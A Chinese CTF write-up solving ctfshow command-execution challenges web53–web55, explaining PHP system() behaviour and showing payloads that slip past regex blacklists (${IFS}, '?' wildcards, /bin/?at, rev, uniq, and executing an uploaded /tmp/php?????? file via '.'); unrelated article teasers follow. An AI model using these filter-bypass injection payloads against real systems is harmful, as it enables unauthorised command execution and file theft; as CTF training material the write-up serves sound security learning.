ctfshow-web入门-命令执行(web53-web55)

目录

1、web53

2、web54

3、web55


1、web53

这里的代码有点不一样,说一下这两种的区别:

(1)直接执行 system($c);

system($c);

这种方式会直接执行命令 $c 并将命令的输出直接发送到标准输出(通常是浏览器);不会返回命令的输出值,因此不能对输出结果进行进一步处理。

(2)使用一个参数来接受 system 的返回值后再输出它

$d = system($c);
echo "<br>".$d;

这种方式不仅会执行命令 $c,而且会将命令的最后一行输出结果赋值给变量 $d;然后通过 echo "<br>".$d; 将变量 $d 的内容输出到标准输出;如果命令产生了多行输出,只有最后一行会被存储在变量 $d 中并输出,而其他行会直接输出到标准输出。其中 "<br>" 是 HTML 标签,用于在网页中插入换行符。

比如我们执行一下 ls 看看效果:

?c=ls

输出结果为:

lsflag.php index.php readflag
readflag

我们题目代码是:

echo($c);
$d = system($c);
echo "<br>".$d;

因此会先输出我们传入的内容,即 ls;紧接着直接输出 ls 执行的结果 flag.php index.php readflag;system 函数返回命令输出的最后一行,执行结果最后一行是 readflag,所有 $d 的值是 readflag,前面还拼接了一个 "<br>",因此会换行输出。

这里还是放出了 $ 符,构造 payload 读取 flag.php:

?c=nl${IFS}fla\g.php

拿到 flag:ctfshow{1bcea82b-e31b-42ea-bdba-d21411b7e7de}

很好奇这个 readflag 是什么,于是读了一下,但是有乱码:

2、web54

preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)

其他都差不多,主要是这里使用了很多星号来匹配,比如 .*c.*a.*t.* ,只要内容顺序符合 ...c...a...t...就会被检测,不管在这三个字母前后或者中间有什么,都会匹配成功。

nl 被过滤掉了,我们可以使用 rev 反向输出。

并且这里通配符问号没有被过滤,构造 payload:

?c=rev${IFS}fla?.php

得到:}eb6e9b9a201f-cddb-1154-8606-9785878a{wohsftc

取倒序:

拿到 flag:ctfshow{a8785879-6068-4511-bddc-f102a9b9e6be}

在网上还看到了另一个命令:uniq

本来这个命令是用于去除相邻的重复行,但是我们也可以用它来输出文件内容。

构造 payload:

?c=uniq${IFS}f???.php

但是这里在这个通配符上面就有点讲究了,比如:?c=uniq${IFS}f?a?.php 可以,但是 ?c=uniq${IFS}fl??.php 就不行了,?c=uniq${IFS}fla?.php更不行。

目前不知道是什么原因,知道的可以解释下谢谢。

此外,还可以使用 vi 命令,构造 payload:

?c=vi${IFS}fla?.php

结果有乱码,但是可以在源码里找到 flag 

最后再来看题目提示给的 payload:

?c=/bin/?at${IFS}f???????

因为 Linux 有很多命令存放在 /bin/ 目录下,可以通过绝对路径来使用,并且支持通配符。

Linux 下万物皆文件

也就是说 cat 命令也可这样用:/bin/?at

3、web55

preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)

主要是过滤了字母,分号过滤了自增也不行,我试了取反但是不行,不知道是不是需要传给 eval 函数才可以还是什么原因,希望知道的师傅可以解释下。

在无字母 rce 里还有一个点:临时文件上传

做到这里勇师傅已经感觉到题目难度开始上来了,之前并未接触过这个类型的题,这里先参照题目提示的方法来:

通过post一个文件(文件里面是 sh 命令),在上传的过程中,通过 . (点)去执行执行这个文件。

上传的这个临时文件会保存在 /tmp/ 下,且文件名一定是 php 加上六个随机的字符,即 /tmp/php??????,这个临时文件还会有一个特性,就是这 6 个随机的字符会出现大写的情况,这也是我们的另一个利用点,利用大写字母区别于其他文件,我们使用匹配符:[@-[] 即可匹配到大写字母,大写字母位于 “ @ ” 与 “ [ ” 之间。

构造 post 数据包:文件后缀为 .html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="https://9a129cb5-2611-4aaf-9b78-0424dd5b9ac2.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

双击打开如下图: 

构造用于上传的文件(sh命令):

我这里命名为 exp.txt,内容如下

#!/bin/sh
ls

上传我们构造的文件,使用 burpsuite 抓包(这里需要允许抓取本地的请求包):

发到重发器,添加 payload:

?c=.%20/???/????????[@-[]

%20 是空格,我们这里使用点执行我们上传的文件,从而去执行内容中的 sh 命令,该文件会传到 /tmp/phpxxxxxx ,过滤了字母我们使用通配符问号代替,主要匹配的特征是文件名结尾的大写字母,大写字母不一定随机出现在最后一位,可能需要多试几次。 

我们原本在上传的文件里写的是执行 ls 命令: 

修改 sh 命令,读取 flag.php: 

拿到 flag:ctfshow{17c927f3-8b30-4da0-a4e3-7c227b1dac83}

此外,在网上还看到了其他的做法:

(1)未过滤数字,利用 /bin/ 目录下的 base64 进行通配符匹配,构造 payload:

?c=/???/????64 ????.???

获得 flag.php 的 base64 编码:

解码拿到 flag:

(2)利用 /usr/bin/ 下的 bzip2 命令

先将 flag.php 压缩,构造 payload:

?c=/???/???/????2 ????.???

bzip2 命令压缩后的文件后缀为 .bz2,因此这里压缩后文件名为:flag.php.bz2

访问该文件下载:

打开即可看到 flag:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/696487.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于机器学习和深度学习的NASA涡扇发动机剩余使用寿命预测(C-MAPSS数据集,Python代码,ipynb 文件)

以美国航空航天局提供的航空涡扇发动机退化数据集为研究对象&#xff0c;该数据集包含多台发动机从启动到失效期间多个运行周期的多源传感器时序状态监测数据&#xff0c;它们共同表征了发动机的性能退化情况。为减小计算成本&#xff0c;需要对原始多源传感器监测数据进行数据…

软件测试--Mysql快速入门

文章目录 软件测试-mysql快速入门sql主要划分mysql常用的数据类型sql基本操作常用字段的约束&#xff1a;连接查询mysql内置函数存储过程视图事务索引 软件测试-mysql快速入门 sql主要划分 sql语言主要分为&#xff1a; DQL&#xff1a;数据查询语言&#xff0c;用于对数据进…

SpringBoot中实现一个通用Excel导出功能

SpringBoot中实现一个通用Excel导出功能 文章目录 SpringBoot中实现一个通用Excel导出功能这个导出功能的特色看效果代码解析1、依赖2、Excel 入参(ExcelExportRequest)3、Excel 出参(ExcelExportResponse)4、ExcelExportField5、ExcelExportUtils 工具类6、ExcelHead 头部…

鸿蒙开发接口安全:【@ohos.userIAM.userAuth (用户认证)】

用户认证 说明&#xff1a; 本模块首批接口从API version 6开始支持。后续版本的新增接口&#xff0c;采用上角标单独标记接口的起始版本。 导入模块 import userIAM_userAuth from ohos.userIAM.userAuth;完整示例 // API version 6 import userIAM_userAuth from ohos.use…

AI全栈工程师的新舞台:Coze(扣子)

前言 在当前科技飞速发展的背景下&#xff0c;Coze作为一款引领潮流的AI应用平台&#xff0c;正以破竹之势重塑着我们对于智能应用的认知。Coze不仅仅是一个工具&#xff0c;它是一个集合了前沿AI技术、高效开发环境与创意无限的应用生态于一体的创新平台&#xff0c;旨在让每…

RabbitMQ-工作模式(Topics模式RPC模式Publisher Confirms模式)

文章目录 Topics模式topic代码示例 RPC模式客户端界面回调队列关联ID总结RPC代码示例 Publisher Confirms模式概述在通道上启用发布者确认单独发布消息批量发布消息异步处理发布者确认总结总体代码示例 更多相关内容可查看 Topics模式 在Topics中&#xff0c;发送的消息不能具…

QT 信号和槽 信号关联到信号示例 信号除了可以绑定槽以外,信号还可以绑定信号

信号除了可以关联到槽函数&#xff0c;还可以关联到类型匹配的信号&#xff0c;实现信号的接力触发。上个示例中因为 clicked 信号没有参数&#xff0c;而 SendMsg 信号有参数&#xff0c;所以不方便直接关联。本小节示范一个信号到信号的关联&#xff0c;将按钮的 clicked 信号…

---java 抽象类 和 接口---

抽象类 再面向对对象的语言中&#xff0c;所以的对象都是通过类来描述的&#xff0c;但如果这个类无法准确的描述对象的 话&#xff0c;那么就可以把这个类设置为抽象类。 实例 这里用到abstract修饰&#xff0c;表示这个类或方法是抽象方法 因为会重写motifs里的show方法…

【已解决】FileNotFoundError: [Errno 3] No such file or directory: ‘xxx‘

&#x1f60e; 作者介绍&#xff1a;我是程序员行者孙&#xff0c;一个热爱分享技术的制能工人。计算机本硕&#xff0c;人工制能研究生。公众号&#xff1a;AI Sun&#xff0c;视频号&#xff1a;AI-行者Sun &#x1f388; 本文专栏&#xff1a;本文收录于《AI实战中的各种bug…

游戏服务器工程实践一:百万级同时在线的全区全服游戏

我应该有资格写这篇文章&#xff0c;因为亲手设计过可以支撑百万级同时在线的全区全服类型的游戏服务器架构。 若干年前我在某公司任职时&#xff0c;参与研发过一款休闲类型的游戏&#xff0c;由 penguin 厂独代。研发的时候&#xff0c;p 厂要求我们的游戏服务器要能支撑百万…

如何自我认同?是否需要执着于社会性认同?

一、自我认同与社会性认同 自我认同与社会性认同是两个相关但又有所区别的概念&#xff0c;它们分别反映了个体在内心深处对自身价值的认知&#xff0c;以及外界&#xff08;尤其是社会&#xff09;对个体价值的评价与接纳。 自我认同 自我认同是指个体基于自身的价值观、能…

【C语言】青蛙跳台阶问题 - 递归算法(一种思路,针对三种不同的情况)

文章目录 1. 前言2. 题目和分析2.1 代码实现2.2 反思 (重点) 3.题目二&#xff08;变式&#xff09;3.1 分析3.2 代码实现 4. 题目三&#xff08;变式&#xff09;4.1 分析4.2 代码实现 1. 前言 相信大家看到青蛙跳台阶问题时&#xff0c;第一时间就会想到递归。那你知道为什么…

暴雨推出X705显示器:23.8英寸100Hz IPS屏

IT资讯 6月 7 日消息&#xff0c;日前&#xff0c;暴雨发布了一款 23.8 英寸 IPS 显示器&#xff0c;直屏、支持 100Hz 刷新率。 据官方介绍&#xff0c;X705 显示器分辨率为 19201080&#xff0c;亮度为 300 尼特&#xff08;典型值&#xff09;&#xff0c;对比度 1000:1&…

Junit(Java单元测试)

目录 配置文件 注解 Test 标注测试方法 BeforeAll 和 AfterAll 标注在测试之前和之后执行的方法 BeforeEach 和 AfterEach 标注在每条测试之前和之后执行的方法 TestMethodOrder 和 Order(优先级) 标注测试方法的执行顺序 ParameterizedTest 将测试方法参数化 ValueSou…

【Activiti7系列】基于Spring Security的Activiti7工作流管理系统简介及实现(附源码)(下篇)

作者&#xff1a;后端小肥肠 上篇&#xff1a;【Activiti7系列】基于Spring Security的Activiti7工作流管理系统简介及实现&#xff08;上篇&#xff09;_spring security activiti7-CSDN博客 目录 1.前言 2. 核心代码 2.1. 流程定义模型管理 2.1.1. 新增流程定义模型数据 …

转让北京劳务分包地基基础施工资质条件和流程

地基基础资质转让流程是怎样的?对于企业来说&#xff0c;资质证书不仅是实力的证明&#xff0c;更是获得工程承包的前提。而在有了资质证书后&#xff0c;企业才可以安心的准备工程投标&#xff0c;进而在工程竣工后获得收益。而对于从事地基基础工程施工的企业&#xff0c;需…

10.1 Go Goroutine

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

基于STM32开发的智能农业监控系统

目录 引言环境准备智能农业监控系统基础代码实现&#xff1a;实现智能农业监控系统 4.1 土壤湿度传感器数据读取4.2 温湿度传感器数据读取4.3 水泵与风扇控制4.4 用户界面与数据可视化应用场景&#xff1a;农业环境监测与管理问题解决方案与优化收尾与总结 1. 引言 随着智能…

【文末附gpt升级秘笈】AI热潮降温与AGI场景普及的局限性

AI热潮降温与AGI场景普及的局限性 摘要&#xff1a; 随着人工智能&#xff08;AI&#xff09;技术的迅猛发展&#xff0c;AI热一度席卷全球&#xff0c;引发了广泛的关注和讨论。然而&#xff0c;近期一些学者和行业专家对AI的发展前景提出了质疑&#xff0c;认为AI热潮将逐渐…

BIOPLUSS引领膳食行业创新、整合与再造

2024年NHNE如期而至&#xff0c;同时今年也是中挪建交70年周年&#xff0c;BIOPLUSS作为挪威品牌代表也参加了此次NHNE国际健康营养博览会&#xff0c;此次NHNE展会吸收了来自30多个国家及地区的1200多家品牌参与&#xff0c;BIOPLUSS同时受挪威领事馆、挪威创新署邀请&#xf…